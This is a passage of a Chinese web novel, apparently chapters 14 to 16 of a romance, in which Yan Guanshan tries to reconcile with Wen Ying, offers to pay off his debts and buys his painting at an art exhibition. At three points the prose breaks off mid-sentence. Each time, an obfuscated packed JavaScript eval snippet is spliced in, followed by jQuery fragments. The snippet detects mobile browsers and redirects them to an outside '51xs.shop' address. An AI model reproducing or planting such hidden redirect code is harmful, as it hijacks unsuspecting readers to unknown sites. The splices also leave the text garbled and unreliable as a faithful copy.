“到底还欠多少?”晏关山认真道,“这些年我攒了些钱,能还先还……景三?”
闻影忽然揪住晏关山衣领往近前一扯,想打,但是另一只手吊着,无奈他凶狠地道:“欠了几十万,你还?”
“钱够,我还。”晏关山仰头看着对方。
闻影咬牙切齿:“……百八十万,你也还?”
“嗯。”晏关山直视对方的眼睛,“到底欠了多少,要现金还是转账?”
晏关山不是开玩笑,他很认真地要解决问题,所以闻影才冒火,他想狠狠揍他一拳,忍了半天终于问:“晏关山,我跟你没关系了,以前就没什么关系,现在更没有,你做这些如果是想弥补当年的事,没必要知道吗?老子喜欢过你,没追到就没追到了,我气也好恨也罢,都我自己的事,跟你没半毛钱关系,本来我们俩可以就这样一辈子没有交集,你凑上来是犯什么病啊!”
晏关山好难得听他说这么多话,虽然不好听,但他心里还是很舒服,他道:“我不想和你一辈子没交集,凑上来也不是为了弥补。”
闻影嗓门都大起来:“那你他妈的图什么?”
晏关山垂下眼道:“我想还和从前一样。”
“什么玩意儿?!”闻影眉毛皱成一团。
晏关山强调:“我和你,我俩,和从前一样。”
闻影张着嘴卡了壳。
晏关山反手握住对方的手腕,把手从衣领上拿下来:“我学会了买菜做饭、套被单、修水管、换灯泡,一个人过了六年,没饿死没冷死,能照顾自己也能照顾你,景三。”
闻影脑袋嗡嗡的,只觉得手腕被握得滚烫,他半天只说了一句:“不可能和从前一样了。”
晏关山:“为什么?”
这还用问为什么吗?闻影把那层窗户纸戳破之后,就注定了往上是恋人往下是路人,没有夹在中间正常做朋友的选项。
闻影非常生硬地强调:“我是gay。”
“所以呢?”晏关山反问。
闻影好笑道:“你不是恶心gay吗?”
晏关山:“我不恶心。”
“那你打我?”闻影吼出来,带着浓浓的怨气。
晏关山不占理,顿了下保证道:“以后不会了。”
晏关山就像个做错事来家长面前承认错误的小学生,说以后改,说不会再犯了,说想回到犯错前一切照旧,奈何闻影伤过心,感情的事不存在改了就好,翻篇不提,在闻影这里他迈出了表白那一步,公开了性向,也得到了对方的回应,尽管不是闻影想要的回应,这事儿已经结束了。
不过话又说回来,以晏关山的脾气性格,他今天能说出这番话来,闻影还是挺吃惊的,也许晏关山真是想来修
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115335|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复关系,觉得愧疚需要道歉,不管他抱着什么目的,愿意说,敢主动说,闻影就不至于还像六年前那样那么生气。
闻影闷闷道:“没什么以后,刚那些话收回去,老子不爱听。”
坐在一起说这些太过尴尬,想站起来打个岔,晏关山不肯松手,他退了一步:“偶尔一起吃个饭,能回我微信的朋友关系,总可以吧?”
“你松开手再说。”闻影眼神盯着被对方抓着的胳膊。
晏关山依依不舍地松开:“我当你同意了。”
自说自话幼稚得很,闻影撇撇嘴:“再多说一个字我真揍你!”
“眼下先把问题解决了行吗,不管欠了多少你说个数,我可以还,你要觉得难为情以后慢慢还我就是了,我不想再看见你出门带刀子。”晏关山耐心地说。
闻影无奈地看了一眼天花板:“晏关山,你特么为了一块玻璃钱都搁这儿嗯嗯啊啊的,哪儿来的底气要帮我还债啊?”
晏关山笑了下:“其实我——”
话没说完被敲门声打断,闻影皱着眉猛地拍了下晏关山,叮嘱他:“一会儿别在他俩面前提欠钱的事儿。”
晏关山:“嗯,还有什么要注意的吗?”
闻影想了想:“昨晚就我俩喝酒,没别人,别说漏嘴,其他没了。”
“好的。”晏关山乖巧道。
闻影甩开手,开门把人放进来,边屹费彦大包小包的菜提着,进门看到二人在客厅吃早餐,边屹愣了下,早起下厨还不如杀了闻影,今儿怎么转性了。
费彦冲晏关山点了下头,笑着问闻影:“看着怪香的,有我份没?你再给我做一份呗,多少年没吃过你做的饭了。”
闻影:“……早点都吃两顿,饭桶成精啊?”
“我一干活的人,多吃点没毛病。”费彦馋得流口水。
“是我做的。”晏关山站起来道,“鸡蛋没有了,多加培根可以吗?”
费彦哪好意思麻烦别人:“我开玩笑的,晏哥是吧?你好你好,甭理我,你俩吃着。”
晏关山点了点头,跟闻影说:“那我先去洗澡?”
“哦。”闻影硬邦邦答。
边屹嫌费彦屁事多,把人拉到厨房给他煎了个蛋吃着,余光瞥见晏关山捏着一团东西进了卧室,闻影顺手帮他把卧室门关上了,再看沙发,并没有枕头被子,说明昨晚沙发没睡过人。
边屹总觉得哪里奇怪,敏感地脑补了一顿,凑过去跟费彦咬耳朵:“你觉不觉得闻影和晏哥,他俩……嗯?”
“什么?”直男费彦接受信号失败,“说清楚点。”
边屹:“闻影摔了就是晏哥送去医院的,我那会儿第一次见他,对闻影很好,守了一夜呢。你瞧昨晚俩人又一起喝酒,闻影还带回家照顾。”
“啊,那不然呢,给人扔马路上也不合适啊。”费彦说,“咱俩要是喝成这样,你三哥照样会管。”
边屹强调:“晏哥能睡卧室哎!”
“不睡卧室睡哪?地上啊?”费彦炫着煎蛋,“我哪次睡这儿不是在卧室,闻影又不让去他画画的地儿。”
边屹恨铁不成钢地瞪了费彦一眼,他就不该跟一个木头八卦,白费口水。边屹无语地叮嘱道:“虽然他俩认识,但闻影对人家态度恶劣,真名都没告诉晏哥,你别说漏嘴,当面儿喊他景三,知道不?”
费彦听到这儿才觉得奇怪:“他俩有过节?看着不像啊……”
“我也不知道。”边屹说。
闻影站在他俩身后,看着大开的冰箱门半天什么都没放进去,奇怪道:“你俩嘀咕什么呢?”
边屹吓了一跳:“没什么啊。”
费彦愣头愣脑地说:“没嘀咕什么,边妈在破译你和晏哥是不是……嗯嗯。”
闻影张嘴刚要骂,费彦赶紧说:“我学他口气,我也不知道他想说什么。”
当场被卖得一干二净的边屹狠狠地踩了费彦一脚,贼眉鼠眼地瞟着闻影说:“故事不说完的后遗症,赖你,我就是猜猜。”
“猜什么?”闻影问。
边屹忍不住好奇:“你那差点搞上的恋爱对象,是不是晏哥啊?”
“啥情况?”费彦反应剧烈,看到闻影火速变红的耳根,他大咧咧地就喊,“谈恋爱了啊兄弟?”
“没有的事。”闻影恼羞成怒,对边屹强调,“不是他,你别瞎猜!”
边屹听完十分遗憾地叹了口气:“好可惜,晏哥长得那么帅,看着又很可靠,还会下厨,要是久别重逢的故人那你可有福气了。”
文科生酸起来费彦可受不了,他起哄说:“觉得可惜你去追呗,反正他都说了他俩没那关系。”
闻影没吭声,边屹偷偷瞄他,灵机一动,故意说:“晏哥那长相确实是我的菜,斯文稳重,又会照顾人。你这个建议我认真考虑一下。”
“是嘛,你不就爱长得帅的。”费彦火上浇油。
边屹:“你懂我。”
一人一句,听得闻影越来越烦躁,晏关山洗了澡出来,刚好看见闻影朝边屹脑门上弹了个爆栗,闻影还恶劣地说:“不准!”
15.第 15 章
闻影最后是以“晏关山是直男”把两个人打发走的,晏关山还在卫生间收拾,听见关门声走出来,莫名被扔了一脸毛巾。
闻影语气很不好地催他:“擦干头发快点滚,不管是高利贷还是别的事,一个字不准多说。”
晏关山只好闭嘴,他该说的已经说了,不管是解决问题还是修补关系,都得闻影态度缓和才行,不急这一时,晏关山心平气和地道别走了。
被三个人这么一闹,闻影连续两天做什么都心不在焉,夜里也睡不好觉。
自己的床被晏关山睡过,这床就有了罪!以至于总梦到晏关山那张欠揍的脸。
不管是和他猛打一架还是单方面输出垃圾话,梦的结尾总会急转直下,以晏关山的“我管你”收尾。
简直是他妈的噩梦。
手机一震收到微信,闻影窝在沙发里背书,已经发呆了半个小时,他拿出手机来看。
[Y]:[图片]
夹杂在一堆“请你吃早饭”“一起吃个午饭吧”和“晚上有没有空”的信息中,这张没头没尾的图片很突兀。
晏关山之前发的信息闻影一条都没回,见对方终于没有孜孜不倦地约人而是甩图,他慢条斯理地点开来看。
是张银行卡余额的截图,余额七位数,是个让闻影吃惊的数字。
[景三]:?
[Y]:。
[景三]:[竖中指]
[Y]:[可怜]
闻影:“……”
[景三]:卡里那么多钱,你之前跟我这儿装什么穷啊?
[Y]:找不到别的借口跟你说话,就装穷了,对不起。
[景三]:道歉上瘾?
[Y]:我骗你,是我的问题,但我没有恶意,该道歉的。
闻影突然心虚。
这货不是在阴阳我吧?
[Y]:够还吗?
[景三]:钱多烧得慌?你不怕我是黄赌毒欠下的债,这窟窿你填得起?
“对方正在输入”持续了挺久,闻影等了半天也没等来下文,以为他被吓退了。
闻影自嘲一笑,跟以前一样,晏关山讨厌那个正事不干当小混混的景三。
闻影以前总是打架打得头破血流,睡在晏关山的租屋里等着他给自己包扎,抽烟喝酒什么都会,骂骂咧咧一张嘴从来不吃亏,和街头混混没区别,晏关山第一次给闻影脸色看,就是因为闻影身上出现了刀伤。
尽管闻影心中“两种人”不是因为这个,但他不在乎晏关山懂不懂,拿这个人设吓唬他,只要晏关山别来自找没趣惹上麻烦,闻影无所谓对方误会自己。
闻影摁灭屏幕,手机又震。
[Y]:你不会。
你哪来的自信噢。
闻影噼里啪啦打字。
[景三]:我还真会。
[Y]:那我也认了。
[景三]:???
[Y]:可以一起吃个饭吗?[微笑]
[景三]:滚。
……
元旦假期最后一天,画展开幕,闻影得去一趟。策展人是老教授的学生,几家知名画廊和系学生会合办,既能为画廊挑选合适的画师,又能给没毕业的学生刷履历,打开知名度。
老教授发了话,闻影是抹不开面子,才答应参展的。
画展办在一个文化艺术园区,展厅是一栋工业风格的独立loft,上下两层,逼格拉满。
门口只有一个低调的海报,人倒是不少,闻影到的时候下午三点多,画展早上九点就开始了。
[你彦哥]:@景三你到哪了?我和边妈干站着等了快一个小时了。
[边边小叮当]:我举报,在你没来的时候费费吃了两碗馄炖一笼包子一笼烧麦,还搁小吃店搭讪了你院美女。
[你彦哥]:[拳头]
[你彦哥]:你也没少看帅哥好吗,我和闻影不够你看的?那些歪瓜裂枣还没你彦哥脚趾头好看。
[边边小叮当]:你那脚……[呕吐]
[边边小叮当]:最近对你俩是真的审美疲劳,晏哥好看,本人实名爱看,他来吗?@景三
[你彦哥]:叫他来,我请他吃饭,谢谢他在我缺席的时候照顾兄弟。@景三
闻影心说,俩傻子,面对面还要发微信交流。他无视手机一直震动,站到他俩身后偷听他们大声八卦……闻影跟边屹说过的那个掐头去尾的故事。
“闲出屁啦?”闻影听不下去懒懒道。
边屹吓得一抖,指着费彦说:“他可关心你终身大事了,我只好说了。”
费彦在旁边呵呵笑:“我寻思那阵咱俩形影不离,我怎么没发现你在追人啊?”
“你神经粗嗓门大,他能告诉你?”边屹吐槽道。
“主要我还是不太相信。”费彦说,“不见着你三哥真带回来一男的,我都不能信他是gay。”
闻影:“……爱信不信。”
边屹问:“那你怎么就信我是呢?”
“你gay得这么明显。”费彦说,“边妈,你确实是我认识的男的里最香的。”
“……”边屹白他一眼,揪着费彦胳膊上一小坨肉扭住说,“变态。”
闻影扛不住这俩活宝闹腾:“进去了。”
闻影跟工作人员简单说了几声,带着人大摇大摆地进了展厅。
展厅里虽说算不上人山人海,但去过 n 次各种展览的闻影都觉得,这次画展来的人也太多了。
知名画廊本就有固定客源送票,加上节假日自然流入的观众和美院学生邀约来的亲朋好友,展厅里居然有些嘈杂。
费彦东张西望:“我没有艺术细胞,大画家能给科普一下吗,从哪里看起才显得我不是个小白?”
闻影随手一指:“你不是来看人的吗?那儿,我们系花,去吧。”
费彦说了句“兄弟够意思”就跑了,找了一圈没看到美女,又骂骂咧咧回来:“哪个是系花啊?”
闻影下巴勾了勾其中一幅画:“系花画的。”
费彦看着那副被线条切割成无数色块的,破碎的脸,脸色僵了僵。
好美丽的精神状态。
费彦摆摆手:“得,我自己逛。”
闻影回头问边屹:“我得跟文老打声招呼,你是和费费去还是自己逛?”
文老就是很照顾闻影的老教授,在美院德高望重,边屹想了想道:“我不打扰费费看美女了,一个人逛又逛不明白,我想跟着你。”
闻影无奈地看了一眼这小跟班,带着他去了咖啡馆。
咖啡馆在展厅中庭,面积不大,给观众和参展人休息谈事用的,今天来的人多,咖啡馆早已坐满,闻影一眼就看见被人群围着的文老,旁边许多学生和画廊的负责人,不知道在聊什么,一堆人听得兴致勃勃。
闻影不是太想这个时候过去。
那要是站着一堆磕牙打屁的混混,他倒是敢大摇大摆过去,但换成长辈师长和不太熟悉的同学,闻影内心就很拒绝这类社交场合,尤其有长辈在,他不知道该怎么和长辈打交道。
边屹懂他,安安静静站了一会儿,提议:“要不我俩等人少了再来呗,文老忙着呢。”
“嗯,去别地儿看看。”闻影转身要走。
边屹笑眯眯说:“带我看看你的画,挂哪儿了?”
“二楼吧。”闻影扫了一圈,“我也不知道。”
“快快,找找去。”边屹拉着他胳膊,抬脚就走。
“闻影!这儿!”有人一嗓子喊起来。
人群立刻将视线投到这边,闻影皱了皱眉,僵硬地扯嘴角转身打招呼:“不好意思,来晚了。”
叫他的人是苏淳,一见到闻影,苏淳喜笑颜开,很快过来迎他:“文老早上就在问你什么时候来,等你半天了,很多人想认识你呢。”
苏淳温和地冲边屹一笑:“好久不见,小边。”
边屹也笑:“苏哥好。”
“来来,过来坐着玩儿。”苏淳说。
苏淳伸手想揽闻影的胳膊,闻影加速往前走了几步轻巧让开,反手薅着小跟班的衣服,在文老旁边找到两个座位坐下。
苏淳撑在椅背后面问:“喝点什么?”
边屹刚说了个“拿”字,听见闻影硬邦邦地道:“不用麻烦了。”
“不麻烦啊。”苏淳依旧笑着。
边屹察言观色地说:“我俩才喝过呢,不渴,苏哥甭管我俩。”
还好文老接过话茬,介绍了闻影
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144463|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的人和画之后,进入到无聊的社交环节,闻影硬着头皮和几个画廊负责人交换了微信,默默靠回椅背戳手机。
边屹偏过身小声问:“我好久没见到苏哥了,你俩怎么回事?吵架了吗?”
闻影低着头:“没有。”
边屹偏了下眼神:“从你坐下他就一直盯着你。”
闻影:“……你不盯他怎么知道他盯着我?”
边屹:“视线太明显了嘛。”
“闻影,我想起一事儿。”文老突然叫了闻影一声。
闻影立刻坐直身子,礼貌道:“教授您说。”
边屹忍着笑看他装乖巧。
文老道:“你的画今早有人订下了,买家很欣赏你的作品。”
苏淳:“恭喜呀,今天卖出去的第一幅作品就是你的。”
旁边人不住地“哇”和“恭喜”,闻影笑了下问:“哪一幅?”
文老道:“哪一幅不重要,重要的是对方出的价钱不低,后续还要赞助咱们系的展览。搞艺术穷三代,现代社会,能做到兼顾艺术和商业,才能让这个行业长久。”
闻影没吭声,文老拍拍他的肩膀:“当然也没你想的那么庸俗,买家是做公益基金的,你的画作主题正好符合他们的慈善项目,闻影,我觉得你应该去认识一下买家。”
闻影理解文老用意,不过也是操心这些搞艺术的学生毕业以后吃不上饭,但放在以前,闻影就算明白也不放心上,今天不知道是不是那张银行卡余额刺激了他的神经。
钱确实能解决不少问题,比起拳头,钱能把伤害减到最少。
闻影答应着:“应该的。”
边屹意外地看了他一眼。
文老欣慰道:“那好,买家还在二楼展厅吧?让工作人员带你上去一趟。”
……
画展展览会有部分画家自我推介环节,二楼演播厅是开放式的,拉着投影,策展人在台上轮流介绍画师和画作,晏关山找了个比较偏的位置,和许寰坐下。
许寰刚来没一会儿,跟同事打完招呼才在二楼找到晏关山:“来多久了?”
晏关山:“一早就来了,没参加过,新鲜。”
“你们工科男看这些是新鲜。”许寰说,“觉得有意思以后可以常来,美院这类展览挺多的,各系有各系的看头,我们搞学生工作,回回都有票。”
晏关山诚实道:“大部分看不明白,没那艺术细胞。”
“那你还买画?”许寰揶揄,“看明白了么就买。”
晏关山瞥他一眼:“消息怪灵通的。”
许寰失笑:“听说你还答应了美院的老师,以后策展遇到合适的主题,会以基金会的名义赞助。够下血本的啊老晏。”
晏关山没否认,淡淡说:“那能怎么办呢。”
许寰问:“买了闻影的画?”
“嗯,那副画我喜欢。”晏关山真心道。
许寰说:“正好说到他,我这边也打听到一些情况,接着上回的说吧,他旷课严重到影响毕业,系主任惜才,找闻影不好使就想着去找家长聊一下,结果没找到。”
晏关山:“没找到什么意思?不在国内?”
“没这么简单。”许寰轻轻叹了口气,“当时系主任没找到家长,就找他高中老师包括艺术培训学校的老师了解情况,才知道闻影没什么亲人。”
晏关山一愣。
许寰:“系主任说他无父无母,生活读书的钱从哪儿来的也不清楚,他从小就一直这样没人照顾,怪可怜的。”
晏关山听得喉头发紧,以前就觉得景三身上那些奇怪之处如今就说得通了,晏关山说:“这些情况确切吗?”
“八九不离十吧。”许寰道,“美院对好苗子都挺上心的,那不也是怕闻影自个儿耽误自个儿,所以对他家庭情况做过深入了解,不过真实情况,恐怕还得问闻影才知道。”
许寰话音刚落,晏关山的肩膀被工作人员轻轻拍了一下。
“晏先生您好,您买下的那副画,画师本人已经来了,正想跟您见一面,谢谢您的赏识。”
晏关山闻声回过头,正正对上闻影吃惊又尴尬的眼神。
对方想当场抠个地缝钻进去。
而晏关山,只顾得上心疼。
16.第 16 章
工作人员敬业地介绍着闻影,在场的人却全都在状况外。
许寰忙着好奇让晏关山找了很多年求而不得的学弟是个怎样的人,边屹却是窃喜见到两个大帅哥,自顾自欣赏着呢。
只有闻影脸色难看,他意识到谎言被当场拆穿,一个接一个的,让过去的自己在晏关山的面前俨然像个……杀猪盘。
这一瞬,他有过要解释的念头,但想了想,解释清楚,解开误会,是要有目的的,他没想和晏关山怎么样,那解释了干嘛呢?
工作人员又转回闻影这边,介绍道:“闻同学,这位就是天使动物救助基金的副会长晏关山晏先生。”
晏关山淡淡道:“我和闻影认识。”
工作人员一愣,闻影听见自己名字,脸又僵了几分。
看出他不想说话,边屹主动道:“晏哥,太巧了,在这都能遇到,你还买了景……闻影的画,我和费彦陪他来凑热闹,费彦就在楼下呢。”
许寰意味深长地看了晏关山一眼,打趣说:“这可不算碰巧。”
边屹眨着眼看许寰,帅气阳光,一抹温和的笑挂在嘴边总让人心生亲切感,许寰大方地做自我介绍:“你好,我叫许寰,在玉大工作。”
边屹条件反射地鞠了一躬:“老、老师好,我叫边屹,是玉大中文系的。”
“欸欸,不用给我磕。”许寰伸手扶着边屹,失笑,“我比你大不了几岁,也不教课,喊老师怪不习惯的,叫名字叫学长都行,我也是玉大毕业的。”
边屹脸有点红:“许哥。”
沉默了半天的闻影,没心情在这里看边屹犯花痴,他掀起眼皮冲晏关山勾了勾下巴:“你跟我出来。”
晏关山挑眉:“好。”
边屹:“我也……”
闻影头也不回地往外走:“别跟来。”
“你带边屹到处逛逛?”晏关山拍了拍许寰的肩。
许寰:“你去你的,我带小朋友玩会儿。”
场馆里人太多,咖啡厅有不少认识自己的人,闻影绕了一圈没找到一处能安静说话的地方,把人带出了展厅,园区角落有一家奶茶店,闻影没别的选择,买了两杯奶茶,在外面坐下。
“坐这里很冷,你穿少了。”晏关山看着他一截露在外面的脖颈道,“要不还是进去?”
“不冷,里面人多,不好说话。”闻影一坐下就往凳子里一瘫,有点破罐子破摔的样儿。
晏关山规规矩矩坐好:“嗯,你想说什么?”
闻影眼睛一眯:“我不叫景三。”
晏关山淡定道:“我知道,你叫闻影,百闻不如一见的闻,形单影只的影。”
闻影:“……”
闻影故作散漫说:“是闻风丧胆的闻,刀光剑影的影!”
晏关山忍笑:“嗯,你说是什么就是什么。”
闻影皱眉:“你好像一点都不惊讶,早知道了?”
“最近才知道的。”晏关山也没打算瞒,“在美院见到你那天,我就想你肯定不是来兼职的,找许寰打听了一下,才知道你的名字。”
闻影:“那你还景三景三的叫?”
“不确定你想不想让我知道,就一直没说穿。”晏关山平静地说,“你不告诉我,肯定有特别的原因吧。”
有个屁原因,逗你好玩而已。
闻影自知理亏,坐起来些,事已至此不如全盘交代了拉倒。他道:“我没在工地搬过砖,也不在美院当男模,一直学的画画,高中的时候老师不管美术生,时间自由,大学更没人管。”
闻影这番坦白看似没头没尾,但晏关山明白他在告诉自己什么。
六年前的闻影,手总是黑乎乎的,晏关山问他去哪里野了,他说自己在工地搬砖。
之所以编个这样的慌言,闻影想法也很简单,能挣钱的人给与帮助不会让晏关山有太大的心理压力。那时候晏关山穷困潦倒,日子过得艰难,闻影在生活琐事上偷偷帮着分担,几顿饭,几件儿生活用品,打折的冬衣和永远满满当当的冰箱。
如果实话实说,被晏关山知道自己非但是个未成年的学生,还没有家人照管没有经济来源,别说闻影尽己所能承担部分生活成本,照晏关山那性格,恐怕还要从自己牙缝里挤点生活费给闻影用。
闻影不想搞得那么复杂,他就想对晏关山好,什么身份借口好使就直接使,骗不骗的,只要晏关山当下能轻松一些就够了。
而且闻影也着实不像个正经学生,本来跟晏关山相遇,就是因为打架被人扔在了医院门口,闻影那时候日子过得很混乱,他念的玉城高中往届优秀毕业生展报上还挂着晏关山的照片。和自己一团糟的学业和生活比起来,晏关山是个遥不可及的人,闻影露了怯。
闻影从来没想过要剖白自己的这些内心戏。
但是晏关山明白。
晏关山压住心内起伏,问:“所以你那会儿应该没成年?你当时说你十八了。”
闻影看向虚空中的一处,闷闷地“嗯”了一声。
晏关山顿了顿:“……十七岁?”
“十六。”闻影扭过头撑着下巴。
晏关山微微惊讶,这小子十六岁就连出柜带追人,简直是个可爱的莽夫。
“行了,骗你的事儿就这几件,说了也好,但我不是来道歉的。”闻影想了会儿又补充,“当时本来想跟你说实话,没来得及,后来就觉得没说的必要。”
晏关山:“怎么今天愿意告诉我了?”
“那不是穿帮了么。”闻影无奈地摊手。
“嗯,以前错过了知道真相的机会,是我的问题。”晏关山说,“其实那会儿就觉得有点奇怪,景三不是你的名字我早就知道。”
闻影带着探寻看过去。
“我找过你,用景三的名字找了很久,没有这个人。”晏关山隐去了大部分找人的艰难过程,只轻描淡写地提了这一句。
闻影诧异:“就凭一个名字,你别不是脑子真有问题吧?而且你找我干什么?”
说起这个闻影就觉得可笑,跟现在晏关山的表现一样,前后矛盾,表里不一,可笑至极!
“你喊我滚,我滚了你又去找,犯贱?”闻影因为想不明白所以上火,阴阳怪气地问,“纯好奇,找到我你要做什么?端出这副被人欺负的小媳妇儿样左一个对不起右一个对不起?”
“小媳妇”仨字稳准狠地戳中晏关山的神经。晏关山平静地说:“我确实该跟你道歉。”
闻影冷笑一声:“道了歉,你心里就舒坦了是吧,咱俩就谁也不欠谁的,也没什么对错可说,是吧?”
晏关山真心实意地说:“我以为道了歉,你或许就不会走了。”
闻影定定地看他一眼,收起咄咄逼人的气势,低声说:“我是生气,但想要的不是你的道歉,就算找到我我还是会走,你没答应我,说再多有什么用?”
所以闻影的走和逃跑一个性质。
他是伤着心落荒而逃的。
晏关山深吸一口气,往前倾了倾身子,郑重道:“我现在答应你,来得及吗?”
“什么?”闻影猛地抬头,狐疑地看着面前的人。
“或者……”说这些话非常不熟练,晏关山发觉开口每说一个字都挺难为情的,渐渐的脖颈到耳根都憋红了,他鼓起勇气说,“你答应我?”
闻影一副见鬼的死样,半晌说不出话。
晏关山开始变得窘迫,他预设过说这些话闻影的反应,要么出口成脏把人怼一顿,要么掉头就走火速拉黑所有联系方式,晏关山知道此时此刻把想法说出来太急了些,可他忍不住。
只要看见闻影,他就没办法忍住,恨不得把憋在胸口的所有后悔和歉意一股脑说尽,然后祈求对方接受自己。
活在回忆里支撑起晏关山那段艰难日子的人,是一个潇洒坦荡明艳动人的男孩儿,不论对方姓甚名谁是何种职业家世,都不重要,晏关山想要的只有这个活生生的人。
他用了很长的时间,才把自己活得像闻影那样坦然潇洒,面对喜欢的人,说该说的,做想做的,不顾退路。
“以前是你追的我,现在换我来。”晏关山抿了抿薄唇,战术性喝了口奶茶,顶着闻影杀人的眼光继续说,“什么时候你能接受我了,我想和你在一起。”
闻影几乎是跳起来捏住了晏关山的嘴:“有病去治,别在我这胡说八道。”
“我说的都是真……唔。”晏关山嘴巴被捏得紧紧的,只能阿巴阿巴。
闻影知道他想说什么,但是没勇气再听了,他说:“我已经不喜欢你了,听清楚没?”
晏关山难过地点了下头。
闻影:“这种话别再提起,一个字都别提,不爱听。”
闻影收回手,摩挲着发烫的指尖,继续瘫回座位。晏关山说完那些刺激人的话就沉默了,闻影使尽全力想把刚才听到的一切赶出耳朵,于是两个人尴尬地坐了很久。
半晌,闻影站起来命令:“三十秒喝完,回去了。”
一群人坐在一楼的咖啡厅等他们,好在老教授已经提前撤了,人没刚才多,闻影原本想进来叫上费彦边屹直接走,谁知道许寰和苏淳认识,四个人竟然还聊得热火朝天。
见到他俩回来,苏淳站起来迎:“等你俩半天了,没想到都是校友,闻影,你不跟我介绍一下吗?”
闻影头一偏,找了张离苏淳远些的凳子坐下:“你自己不会问啊?”
边屹和费彦对看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162591|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一眼,费彦小声蛐蛐:“穿帮了?”
“跟着喊,别问。”边屹说。
闻影情绪不佳都挂脸上,苏淳不跟他计较,往前挪了些正要坐,被晏关山挡住,晏关山伸出手:“你好,我叫晏关山。”
“苏淳。”苏淳和对方握了握手,见晏关山抢了他想坐的地方,挨着闻影坐下,苏淳笑道,“我是美院油画系大四的导员。”
“见过了。”晏关山淡笑道,“在美院门口,你给闻影送奶茶的时候。”
边屹给费彦使了个眼色,费彦收错信号,大咧咧道:“导员管吃喝这事儿别人那可没有,就闻影独一份,苏哥可会照顾人了。”
边屹:“……”
苏淳笑了下,脸冲向晏关山说:“从闻影大一开始就是我带的,我当然得多照顾点,不过私下……我俩也是很好的朋友。”
这点技术性停顿让闻影听着哪里怪怪的,本想反驳一句也没多好的关系,张了嘴又咽下,在这里下人面子很无聊。
结果来劲的是晏关山,他扯了下嘴角,眼里没半点笑意地道:“是么,倒没听他提起过。”
苏淳皮笑肉不笑地说:“不能什么事都跟外人说吧。”
边屹已经在抠着三室一厅,他既尴尬又对着莫名其妙的火药味感到无所适从,可夹在其间他不方便打圆场,和许寰苏淳晏关山都没熟到那份儿上。
许寰“嗨”了声说:“哪有外人,都自己人,从今儿开始不就都熟起来了。是吧,小屹?”
忽然被点名边屹讷讷地“啊”了声。
许寰看着他笑,跟大家说:“这小子刚还对着我鞠躬呢,咱说好了啊,下次见面你要再鞠躬我只能跟你对磕。”
边屹被说得红了脸。
“真好玩儿啊你。”许寰道,“也太有礼貌了。”
大家都笑起来,许寰几句话把诡异的气氛拉回正常值,不经意和边屹对上视线,两个人都心下了然。
费彦钢铁直男,心思没边屹细腻,根本没发现旁边风云涌动,醋意汹涌,听说晏关山来了画展还买了画,他好奇道:“晏哥,你买了闻影的画呀?”
晏关山对他一笑:“嗯。”
闻影瞪了费彦一眼,满脸写着“闭上你的嘴”。
费彦没看见,继续撞枪口:“我说呢,边妈还说在这碰到你太巧,哪那么多巧的事,晏哥你不会是特意冲着闻影来的吧?”
闻影上手扭着费彦大腿肉旋了一圈,疼得对方发出鸡叫,晏关山淡定地答:“是啊,为他来的,买到了一副我很喜欢的画。”
闻影:“……”
画画被夸早就习惯了,怎么今日份的夸夸会让他有点不好意思。
苏淳扯了扯嘴角:“闻影的画属于抽象派,不是一般人可以欣赏得了的,他天生色感很好,只用简单的几何形状就能表达强烈的情感,与人共鸣,晏先生看来是行家?不知道你买下的是哪一幅?确实能理解闻影想表达的东西吗?”
苏淳当然知道晏关山是个兽医,刚才和许寰聊天,也清楚对方纯工科男,对艺术算是一窍不通,画展都是第一次来,他能搞懂抽象派才有鬼了。
故意喊他行家,不过是看不惯他瞧闻影的眼神,和闻影待他那点若有似无的特殊。
晏关山坦诚道:“其他画我确实看不太懂,不过买的那副我恰好知道。”
“哦?”苏淳有些咄咄逼人,“说来听听,刚好画师本人在场,让他评评你有没有说在点子上。”
画师本人觉得两个小学鸡互啄很没有意思,点评别人对自己画作的理解,这么魔鬼的环节是人能想出来的?
闻影想粗暴打断这种无聊的提议,可晏关山打开了手机,偏要接这个话头。
晏关山把手机伸到苏淳面前,壁纸就是闻影的画,只不过这是张照片。
晏关山用一种看似平淡却隐隐得意的口吻说:“小橘是我救活的,送回玉大放养了,闻影很喜欢它,这照片是闻影拍的。虽然他画的只有色块和几何形状,但是我认得出是小橘,也理解他画作名字的含义。”
画的是小橘晒太阳,名字却叫【你走吧】。
这是晏关山六年前对闻影说的最后一句话。
一直沉默的闻影沉声道:“你又知道什么?”
“你说过没能力收养小橘,跟它说‘你走吧’。”晏关山看着闻影道,“其实说这话的人希望对方留下。”
闻影阴着脸道:“我看未必。”
